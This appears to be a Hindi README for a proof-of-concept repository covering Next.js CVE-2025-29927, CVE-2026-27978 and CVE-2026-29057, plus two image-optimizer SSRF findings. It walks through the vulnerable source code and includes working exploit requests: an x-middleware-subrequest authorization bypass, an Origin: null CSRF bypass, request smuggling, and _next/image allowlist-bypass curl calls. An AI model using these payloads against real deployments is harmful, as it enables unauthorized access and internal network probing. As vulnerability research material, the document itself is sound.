
Next.js में CVE-2025-29927, CVE-2026-27978 और CVE-2026-29057 के लिए कुछ Proof-of-Concept (POCs)।
यह रिपॉजिटरी तीन Next.js कमजोरियों के लिए पुनरुत्पादन योग्य प्रूफ-ऑफ-कॉन्सेप्ट वातावरण समाहित करती है। प्रत्येक PoC में एक असुरक्षित टारगेट, एक सुधारित टारगेट, और एक स्क्रिप्ट शामिल है जो दोनों के बीच व्यवहारिक अंतर प्रदर्शित करती है।
इस प्रोजेक्ट का लक्ष्य प्रत्येक समस्या के मूल कारण और व्यावहारिक प्रभाव को न्यूनतम वातावरण में आसानी से देखने योग्य बनाना है।
| CVE | सुरक्षा सलाह | प्रभाव | असुरक्षित संस्करण | सुधारित संस्करण |
|---|
CVE-2025-29927 | GHSA-f82v-jwr5-mffw | प्राधिकरण बाईपास जब एक्सेस नियंत्रण केवल middleware पर निर्भर करता है | 15.2.2 | 15.2.3 |
CVE-2026-27978 | GHSA-mq59-m269-xvcx | Server Actions CSRF जाँच का Origin: null बाईपास | 16.1.6 | 16.1.7 |
CVE-2026-29057 | GHSA-ggv3-7p47-pfv8 | बाहरी बैकएंड पर रीराइट्स के माध्यम से HTTP रिक्वेस्ट स्मगलिंग | 15.5.12 | 15.5.13 |
NEXT-16.2.4-IMAGE-REDIRECT | स्थानीय स्रोत ऑडिट निष्कर्ष | रीडायरेक्ट्स के माध्यम से इमेज ऑप्टिमाइज़र रिमोट allowlist बाईपास | 16.2.4 | सत्यापित नहीं |
NEXT-16.2.4-IMAGE-LOCAL-REWRITE | स्थानीय स्रोत ऑडिट निष्कर्ष | इमेज ऑप्टिमाइज़र लोकल URL बाहरी रीराइट्स के माध्यम से प्राइवेट अपस्ट्रीम तक पहुँच सकता है | 16.2.4 | सत्यापित नहीं |
नीचे दिए गए हैश अपस्ट्रीम vercel/next.js से लिए गए हैं।
| CVE | असुरक्षित रिलीज़ कमिट | सुधारित रिलीज़ कमिट | प्रासंगिक पैच कमिट |
|---|---|---|---|
CVE-2025-29927 | v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672 | v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b | 52a078da3884efe6501613c7834a3d02a91676d2 |
CVE-2026-27978 | v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076e | v16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626 | a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8 |
CVE-2026-29057 | v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925 | v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069 | dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6 |
.
|- docker-compose.yml
|- pocs/
| |- cve-2025-29927/
| |- cve-2026-27978/
| |- cve-2026-29057/
| |- next-16.2.4-image-redirect-allowlist-bypass/
| `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
|- run-cve-2025-29927.mjs
|- run-cve-2026-27978.mjs
|- run-cve-2026-29057.mjs
|- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
`- run-next-16.2.4-image-local-rewrite-ssrf.mjs
docker compose उपलब्ध है।docker compose up --build
एक्सपोज़्ड पोर्ट:
3001 -> CVE-2025-29927 असुरक्षित3002 -> CVE-2025-29927 सुधारित3003 -> CVE-2026-27978 असुरक्षित3004 -> CVE-2026-27978 सुधारित3005 -> CVE-2026-29057 असुरक्षित3006 -> CVE-2026-29057 सुधारित3007 -> NEXT-16.2.4-IMAGE-REDIRECT3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITEइस PoC में, /dashboard केवल middleware द्वारा सुरक्षित है:
export function middleware(request) {
const session = request.cookies.get('session')?.value
if (session !== 'admin') {
return NextResponse.redirect(new URL('/login', request.url))
}
return NextResponse.next()
}
प्राधिकरण जाँच स्वयं गलत नहीं है। समस्या यह है कि रूट पूरी तरह से इस धारणा पर निर्भर है कि middleware निष्पादन को स्किप नहीं किया जा सकता।
प्रभावित Next.js संस्करणों में, बाहरी अनुरोध आंतरिक हेडर x-middleware-subrequest की आपूर्ति कर सकते थे, और रनटाइम उस मान को विश्वसनीय middleware मेटाडेटा के रूप में मानता था। प्रासंगिक असुरक्षित लॉजिक यह था:
const INTERNAL_HEADERS = [
'x-middleware-rewrite',
'x-middleware-redirect',
'x-middleware-set-cookie',
'x-middleware-skip',
'x-middleware-override-headers',
'x-middleware-next',
'x-now-route-matches',
'x-matched-path',
]
export const filterInternalHeaders = (headers) => {
for (const header in headers) {
if (INTERNAL_HEADERS.includes(header)) {
delete headers[header]
}
}
}
x-middleware-subrequest को वहाँ फ़िल्टर नहीं किया गया था, इसलिए हमलावर-नियंत्रित इनपुट middleware रनटाइम तक पहुँच सकता था। उस मान का उपयोग फिर रिकर्सन गहराई निकालने के लिए किया गया:
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new Response(null, {
headers: {
'x-middleware-next': '1',
},
}),
}
}
यदि कोई हमलावर middleware:middleware:middleware:middleware:middleware भेजता है, तो रनटाइम यह निष्कर्ष निकाल सकता है कि रिकर्सन गहराई पहले ही पहुँच चुकी है और अनुरोध को एप्लिकेशन middleware निष्पादित किए बिना आगे भेज देता है।
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002
अपेक्षित व्यवहार:
3001 बिना एक्सप्लॉइट हेडर के एक रीडायरेक्ट लौटाता है, लेकिन x-middleware-subrequest के साथ 200 OK लौटाता है।3002 /login पर रीडायरेक्ट करता रहता है, क्योंकि आंतरिक हेडर अब बाहरी इनपुट से विश्वसनीय नहीं माना जाता।यह PoC एक सामान्य Server Action को एक्सपोज़ करता है जो सर्वर-साइड स्थिति को बदलता है:
'use server'
import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'
export async function transferFunds(formData) {
const cookieStore = await cookies()
const session = cookieStore.get('session')?.value
if (!session) {
throw new Error('Victim session cookie is missing.')
}
const amount = Number(formData.get('amount') || '0')
recordTransfer(session, amount)
revalidatePath('/')
}
समस्या स्वयं transferFunds() में नहीं है। असुरक्षित व्यवहार Server Actions के लिए Next.js CSRF सत्यापन में था। प्रभावित संस्करणों में, Origin: null को स्पष्ट अपारदर्शी ऑरिजिन के बजाय अनुपस्थित ऑरिजिन की तरह माना जाता था:
const originHeader = req.headers['origin']
const originDomain =
typeof originHeader === 'string' && originHeader !== 'null'
? new URL(originHeader).host
: undefined
const host = parseHostHeader(req.headers)
if (!originDomain) {
warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
// Ignore it
} else {
const error = new Error('Invalid Server Actions request.')
// ...
}
}
चूँकि 'null' undefined बन जाता था, सैंडबॉक्स किए गए iframe जैसे अपारदर्शी ऑरिजिन से आने वाले अनुरोध होस्ट/ऑरिजिन तुलना पथ से बच सकते थे और फिर भी पीड़ित के कुकीज़ के साथ संसाधित हो सकते थे।
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004
अपेक्षित व्यवहार:
Origin: null के साथ सबमिट करती हैयह PoC /rewrites/:path* को बाहरी बैकएंड पर रीराइट करता है:
/** @type {import('next').NextConfig} */
const nextConfig = {
async rewrites() {
return [
{
source: '/rewrites/:path*',
destination: 'http://127.0.0.1:4000/rewrites/:path*',
},
]
},
}
module.exports = nextConfig
असुरक्षित व्यवहार Next.js द्वारा रीराइट्स के लिए उपयोग की जाने वाली वेंडर की गई http-proxy डिपेंडेंसी में था। प्रभावित संस्करणों में, DELETE और OPTIONS अनुरोधों के लिए प्रॉक्सी लॉजिक content-length: 0 जोड़ सकता था और transfer-encoding हटा सकता था:
deleteLength: function deleteLength(req, res, options) {
if (
(req.method === 'DELETE' || req.method === 'OPTIONS') &&
!req.headers['content-length']
) {
req.headers['content-length'] = '0'
delete req.headers['transfer-encoding']
}
},
इससे, जब कोई विशेष रूप से तैयार chunked अनुरोध आगे भेजा जाता था, तो प्रॉक्सी श्रृंखला और बैकएंड के बीच अनुरोध-सीमा में विसंगति पैदा हो जाती थी। परिणामस्वरूप, उसी कनेक्शन पर बैकएंड तक एक दूसरा अनुरोध स्मगल किया जा सकता था।
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006
अपेक्षित व्यवहार:
DELETE /rewrites/poc अनुरोध भेजती है जिसमें एक स्मगल किया गया GET /secret होता हैDELETE /rewrites/poc और GET /secret दोनों रिकॉर्ड करता हैदेखा गया उदाहरण आउटपुट:
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.
$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.
स्थानीय next.js-16.2.4 स्रोत ImageOptimizerCache.validateParams() में केवल मूल url पैरामीटर के लिए images.remotePatterns को मान्य करता है:
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
return { errorMessage: '"url" parameter is not allowed' }
}
नेटवर्क fetch पथ फिर fetchExternalImage() में रीडायरेक्ट्स को रिकर्सिव रूप से फॉलो करता है:
const redirect = new URL(locationHeader, href).href
return fetchExternalImage(
redirect,
dangerouslyAllowLocalIP,
maximumResponseBody,
count - 1
)
वह रिकर्सिव कॉल प्राइवेट-IP जाँच को बनाए रखता है, लेकिन domains / remotePatterns को प्राप्त या पुनः लागू नहीं करता। इसलिए एक कॉन्फ़िगर किया गया अनुमत इमेज ऑरिजिन ऑप्टिमाइज़र को एक अलग सार्वजनिक ऑरिजिन पर रीडायरेक्ट कर सकता है, जो मूल इमेज allowlist को पास नहीं करेगा।
PoC localhost सेवाओं का उपयोग करता है और dangerouslyAllowLocalIP: true केवल इसलिए सेट करता है ताकि allowlist व्यवहार को बाहरी इंफ्रास्ट्रक्चर के बिना पुनरुत्पादित किया जा सके। कॉन्फ़िगर की गई इमेज allowlist केवल http://127.0.0.1:4100/allowed/** की अनुमति देती है; वह सर्वर http://127.0.0.1:4200/blocked/private.png पर रीडायरेक्ट करता है, और दूसरा सर्वर रिकॉर्ड करता है कि उस तक पहुँचा गया या नहीं।
docker compose up --build next-16-image-redirect-bypass
node scripts/run-next-16.2.4-image-redirect-allowlist-bypass.mjs http://localhost:3007
अपेक्षित व्यवहार:
4100 पर मूल अनुमत URL स्वीकार करता है4200 पर एक URL पर रीडायरेक्ट करता है, जो images.remotePatterns के बाहर है4200 वाला अपस्ट्रीम GET /blocked/private.png रिकॉर्ड करता हैcurl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard
दिए गए स्क्रिप्ट का उपयोग करें, क्योंकि Server Action फ़ील्ड सर्वर द्वारा गतिशील रूप से जनरेट होता है।
दिए गए स्क्रिप्ट का उपयोग करें, क्योंकि एक्सप्लॉइट एक कच्चे TCP पेलोड पर निर्भर करता है जिसमें एक स्मगल किया गया दूसरा अनुरोध होता है।
curl "http://localhost:3007/_next/image?url=http%3A%2F%2F127.0.0.1%3A4100%2Fallowed%2Fredirect.png&w=64&q=75"
curl http://localhost:3007/api/state
लोकल इमेज URL के लिए, ImageOptimizerCache.validateParams() केवल images.localPatterns के विरुद्ध लोकल पाथनाम को मान्य करता है:
if (!hasLocalMatch(localPatterns, url)) {
return { errorMessage: '"url" parameter is not allowed' }
}
आंतरिक fetch पथ फिर Next.js अनुरोध हैंडलर में पुनः प्रवेश करता है:
await handleRequest(mocked.req, mocked.res, nodeUrl.parse(href, true))
यदि मैच किया गया लोकल रूट बाहरी रीराइट के रूप में कॉन्फ़िगर है, तो अनुरोध को उस बाहरी गंतव्य पर प्रॉक्सी किया जा सकता है। यह पथ fetchExternalImage() को कॉल नहीं करता, इसलिए पूर्ण इमेज URL के लिए उपयोग की जाने वाली प्राइवेट-IP सुरक्षा रीराइट किए गए गंतव्य पर लागू नहीं होती।
PoC कॉन्फ़िगरेशन /allowed/** के अंतर्गत केवल लोकल इमेज URL की अनुमति देता है, फिर उस पथ को http://127.0.0.1:4300/private/:path* पर रीराइट करता है:
const nextConfig = {
images: {
localPatterns: [{ pathname: '/allowed/**' }],
},
async rewrites() {
return [
{
source: '/allowed/:path*',
destination: 'http://127.0.0.1:4300/private/:path*',
},
]
},
}
docker compose up --build next-16-image-local-rewrite-ssrf
node scripts/run-next-16.2.4-image-local-rewrite-ssrf.mjs http://localhost:3008
अपेक्षित व्यवहार:
/allowed/secret.png को स्वीकार करता है क्योंकि यह images.localPatterns से मेल खाता हैhttp://127.0.0.1:4300/private/secret.png पर लागू करता हैGET /private/secret.png रिकॉर्ड करता हैcurl "http://localhost:3008/_next/image?url=%2Fallowed%2Fsecret.png&w=64&q=75"
curl http://localhost:3008/api/state